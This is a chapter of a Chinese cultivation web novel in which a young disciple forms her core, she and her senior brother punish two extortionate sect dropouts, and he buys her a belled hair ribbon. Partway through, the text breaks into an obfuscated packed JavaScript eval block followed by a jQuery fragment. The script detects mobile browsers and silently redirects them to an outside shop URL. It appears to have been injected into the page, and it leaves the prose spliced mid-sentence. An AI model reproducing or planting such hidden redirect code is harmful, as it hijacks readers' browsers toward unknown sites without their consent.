让天下第一帮忙护法的机会并不多,此处灵力也因聚灵阵而浓郁,像是被扔到了存有灵力的匣子,不纳完不准出来。
在林诗晓的十八岁,她结丹了。
灵力在经脉内游走,和之前截然不同的感受,就连呼吸都比之前轻松。
林诗晓缓缓睁开眼睛,晏长舒就在她身旁,阖着眼睛养神。
他左眼上的红痣随着轻缓的呼吸而微微颤动,松散拢起来的长发落了一缕,挡在他颌上。
林诗晓站起身,就算是坐了好几个时辰也不觉得腿麻,轻手轻脚地走到晏长舒身前。
强者打坐时周遭都会存些护体罡气,以免小人偷袭,但晏长舒身上没有。
他坐在那儿闭着眼睛,好像没有破绽一般,所以不用怕别人偷袭。
林诗晓蹲坐在他身前,目光落在晏长舒的手臂上。白衣如旧,上面的血印消失不见。
她小心翼翼地掀起晏长舒的袖口,想要看看手臂上伤口如何,下一刻,灼气扑面,像是要把她烤焦一般。
林诗晓跌坐倒地,下意识紧闭着眼睛,那股子灼气在快要碰到她时忽然化作微凉清风。
她试探性地睁开眼睛,入目就是晏长舒淡如流水的眼神:“不必靠近。”
林诗晓笑了笑,为自己解释:“我这是要检查大师兄的伤口,毕竟流了那么多血肯定很痛啊,师妹这是为你好,大师兄你该谢谢我才对……”
她这话说的理直气壮,最后还吐了下舌头:“总之,师妹又没有坏心思,是大师兄突然放了气息,把我都吓一跳!”
晏长舒神色不变,轻声道:“多谢。”
“不必言谢!”林诗晓咧开嘴笑着说:“大师兄只需记得,师妹是为师兄好便是了,以后有什么好的,也要想着师妹才对。”
晏长舒点了点头,林诗晓便站起身来,拍拍衣服上的尘土:“大师兄,我们回山吗?”
“不。”晏长舒站起身来,他要比林诗晓高处一个头,低着头对她说:“去找昨天拦路的人。”
林诗晓这才想起来昨天那两个被她走到树底的两个北海弟子。
她恍然大悟:“哦!那两个人还没有还老伯的二两银子。”
“嗯。”晏长舒没多说什么,转身朝山下走去。
他步伐不大,林诗晓跟着他身后蹦蹦跳跳的也跟得上,但是山腰到山脚的距离实在远,她忍不住探过头问:“大师兄,我们为什么不御剑去啊?”
晏长舒没回头,他双指并起,夹起路边一片绿叶,递到林诗晓面前。
林诗晓愣了一下,然后接过来放在手心:“大师兄,给我这个叶子是什么意思啊?”
话音刚落,就感觉到叶子里一股灵气顺着她的手心往上走,又流到丹田。
林诗晓惊诧道:“大师兄!这个叶子中有灵气!刚才入我丹田了!怎么会这样?”
晏长舒脚步不停,轻声道:“世间万物皆由灵长,昨日聚灵阵蕴灵,此处草木也纳了不少。”
大师兄的意思是,想让她多采点叶子,多吸点灵气巩固修为?
“我明白了!”林诗晓一点头,横跨一步站在草丛前,两只手开始薅叶子,刚长出来的采,往下一点盛着露珠的也薅。
晏长舒回头时就看见林诗晓腰上小袋塞满了树叶子,袖子里也各塞了一把,就连头上也挂了两片叶子。
“……”
林诗晓笑说:“大师兄你看我采了好多!”
晏长舒上前一步,抬手将林诗晓头上绿叶摘下:“摘这些没用。”
“诶?”林诗晓纳闷:“不是大师兄说的草木纳灵吗?那我从里面纳灵修炼不可以吗?”
晏长舒又说:“早年灵气甚浓,近些年无由稀薄,草木里的灵力也没多少。聊胜于无。”
林诗晓闷闷不乐地把袖子里的绿叶都甩下去,口袋里掏了三次都才掏干净。
她又问:“大师兄说的早年,是多久之前啊?我八岁就在青山了,也未曾感知到青山灵力如此旺盛。”
虽说有昨天晏长舒画的聚灵阵的功劳,但是一晚上就结丹,早先打坐时,灵气旺盛到有些许恐怖了。
“三百年前吧。”晏长舒说。
林诗晓吓得瞪大了眼睛,脚步都慢了半分,忍不住小声嘀咕道:“那三百年前的前辈修行岂不是跟喝水一样简单?”
晏长舒道:“世间灵力枯竭更甚,往后修行便越发困难。”
林诗晓鼓起嘴:“前辈们修好了,飞升了,纳得那么的灵力,岂不是灵力枯竭更甚了嘛……”
晏长舒没答话,步子不停地朝前走。
他长发垂到腰下,一条发带在肩膀处松垮扎起,看似下一刻就要散掉似的。
林诗晓摸了摸自己侧边的头发,不知何时丢了发绳,散了一边。
她没想什么,转而把另一边的发带也摘掉,将全部的头发拢起扎住,除了松散,倒也没什么问题。
二人走了一刻钟才走到山下村落,村门就站着一个农户,身旁有两个白衣男子,正扯着他的衣服不清不楚地说些什么。
林诗晓打眼一看,不就是昨天坑压老伯二两银子的北海弟子吗?
她飞快朝那边跑去:“大胆!你们想对老伯做什么?”
还没走近,就听见那两个人鬼哭狼嚎:“爷爷!您别去成吗?那祖宗小姑娘修为比我们高,更别说她旁边还站了个看不清道行的男的,她出不了事儿!而且她让我们看着你,你走了我们没办法交代啊!”
“但他们两个对那么多妖兽,怎见必然能赢?现在已经天明,料那妖兽不敢出来,我就去看看,你们别拦我!”
老伯心之执拗,两个人拉着差点没拉住。
林诗晓也差点没站稳。
“老伯!我们没事!”她走上前说。
那老伯一见林诗晓,满脸全是劫后余幸,拍了拍自己的胸脯:“小仙长你可算回来了,我昨夜整宿睡不着,怕呀!”
林诗晓捞过来他要下跪的动作,轻声道:“多谢老伯挂念,但是我大师兄可厉害了!那些妖兽都已经被我们解决了,没事了!”
老伯身后两个男子对视一眼,都从对方眼神中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938824|213812||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看见了“后怕”。
他们两个立马鞠躬,颤着声音道:“仙人恕罪,我等……我等昨日叫那铜臭蒙了心,贪了老丈二两银子,昨晚已经归还……”
两个人的腰弯得更低,话语更是恭敬:“还望两位仙人大人有大量,不要与我等计较。”
林诗晓满腔火气泄了大半,下意识回头看晏长舒,想要去探探师兄的反应。
晏长舒发尾被风吹起,乌发划过肩头,不怒自威,声音清冷:“凡债有主,即已归还,便罢了吧。”
两个人听见晏长舒的话,连忙松了口气,可还不等他们道谢发誓,晏长舒又说:“妖兽袭人并非偶然,你为因,他为果,其中纠葛,不可债消。”
林诗晓顺势道:“对呀对呀,老伯都因为你们被妖兽伤了,岂能一句话轻松揭过?”
她转头看向一旁农户:“老伯,你想怎么处置他们,这个由你来。”
农户与那两个男子齐齐看向晏长舒。
晏长舒颔首,掐了个法决贴在那二人身上,就是交给他们自行决断的意思了。
“为何从北海来此?”晏长舒问。
面前二人一愣,随即恭敬道:“回……回仙人,不知为何,北海近年灵气稀薄又弟子繁多,长老为了减轻负担开除了许多弟子,我二人便是被除名,一路上顺着灵脉而来,找到了这儿。”
林诗晓的耳朵动了动,方才在山上的时候晏长舒说天地纳灵,而人吸取灵气修行,北海灵气稀薄又是因为什么?
她看了眼晏长舒,只能看到晏长舒锋利下颌,和被乌发挡住,若隐若现的左眼红痣。
看着他也没有解释的意思,林诗晓只能就此作罢。
晏长舒的审判堪称公平公正,三道令一人身上一个,一段时间随意指示,相当于是给老伯找了两个短工。
林诗晓跟在他身后,走到村子里。
青山因着因着山上有修仙者日日巡山,妖兽不敢乱来,也比其他地方安全。
有些人他进不去大宗门的地界,原本的故乡也回不去,颠沛流离几段时间后看着山脚这边没妖兽,山水也不算差,于是拖家带口地在这一片安定下来,在山脚形成一个不算小的村镇。
林诗晓平常没事就喜欢来这里逛,此时她跟在晏长舒身后:“大师兄,师父不是说早日回山吗?怎的就来逛小街了?”
晏长舒回头看她一眼,最后停在了一个摊位前。
那摊上的婶子认识林诗晓,刚一来就热情地朝她打招呼:“诗晓啊,今日来看看钗子头花?都俊着呢!”
“还有,这位是……”
林诗晓忙介绍:“婶子,这是我大师兄,昨日刚出关。”
“啊,也是仙人是吧?”婶子热络地打着招呼:“民妇姓张,仙人唤我什么都行,这是替诗晓看钗子?”
晏长舒点头,拿起摊子上两条坠了铃铛的葱绿发带:“要这个。”
那颜色和林诗晓身上衣色差不多,就是铃铛被风一吹便叮铃响,林诗晓素来喜欢蹦蹦跳跳,到时候绑在头发上,一步一步都有铃铛声。